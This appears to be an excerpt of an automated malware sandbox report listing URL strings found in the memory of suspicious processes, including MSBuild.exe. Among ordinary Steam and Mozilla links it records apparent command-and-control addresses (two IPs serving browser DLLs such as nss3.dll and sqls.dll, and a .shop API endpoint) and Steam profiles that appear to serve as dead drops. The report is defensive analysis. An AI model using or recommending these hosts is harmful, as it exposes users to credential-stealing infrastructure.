Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/locality
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/otherphone
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcodezhttp://schemas.xmlsoap.org/ws/2005/
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifierzhttp://schemas.xmlso
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddress
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/thumbprintrhttp://schemas.xmlsoap.org/ws/2005/
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishedname
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/identity
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2459852233.000000006C5DD000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.2419848268.000000001FD6D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/1
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/5
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/F
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/a
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/indows.storage.dlll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/mozglue.dll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/mozglue.dll#
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/nss3.dll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/p
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/sktop
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/softokn3.dll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/sqls.dll
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/sqls.dllkA
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.212.60/vcruntime140.dll
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.000000000048F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001173000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.00000000010A7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001100000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001100000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/&
Source: MSBuild.exe, 00000006.00000002.2623692581.00000000010A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/0?Q
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001100000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/1
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001173000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/SF
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001173000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/_F
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001100000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/e
Source: MSBuild.exe, 00000006.00000002.2623692581.00000000010A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/en-GB
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/sqls.dll
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108/sqls.dll=Sq
Source: MSBuild.exe, 00000006.00000002.2617277364.000000000048F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.1085938.132
Source: MSBuild.exe, 00000006.00000002.2617277364.000000000044B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.1087a81d3649le
Source: MSBuild.exe, 00000006.00000002.2617277364.0000000000566000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.1087a81d3649xe
Source: MSBuild.exe, 00000006.00000002.2617277364.0000000000566000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.00000000004CD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108BGI
Source: MSBuild.exe, 00000006.00000002.2617277364.00000000004AE000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108DAF
Source: MSBuild.exe, 00000006.00000002.2617277364.00000000004CD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://65.108.151.108Local
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, HJDBFB.1.dr String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, HJDBFB.1.dr String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=eZOyL2UG5OX8&a
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=3eYWCMu_
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=e0OV
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=54OKIvHlOQzF&l=e
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, HJDBFB.1.dr String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, HJDBFB.1.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/en/
Source: HJDBFB.1.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000008.00000002.2274890181.0000000000D20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/
Source: MSBuild.exe, 00000008.00000002.2274973288.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2273918492.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2273918492.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/api
Source: MSBuild.exe, 00000008.00000002.2274890181.0000000000D20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/dp
Source: MSBuild.exe, 00000008.00000002.2273918492.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://liernessfornicsa.shop/ff
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: https://mozilla.org0/
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com//
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/discussions/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/market/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199743486170
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199743486170hellosqls.dllsqlite3.dllThe
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000E87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259
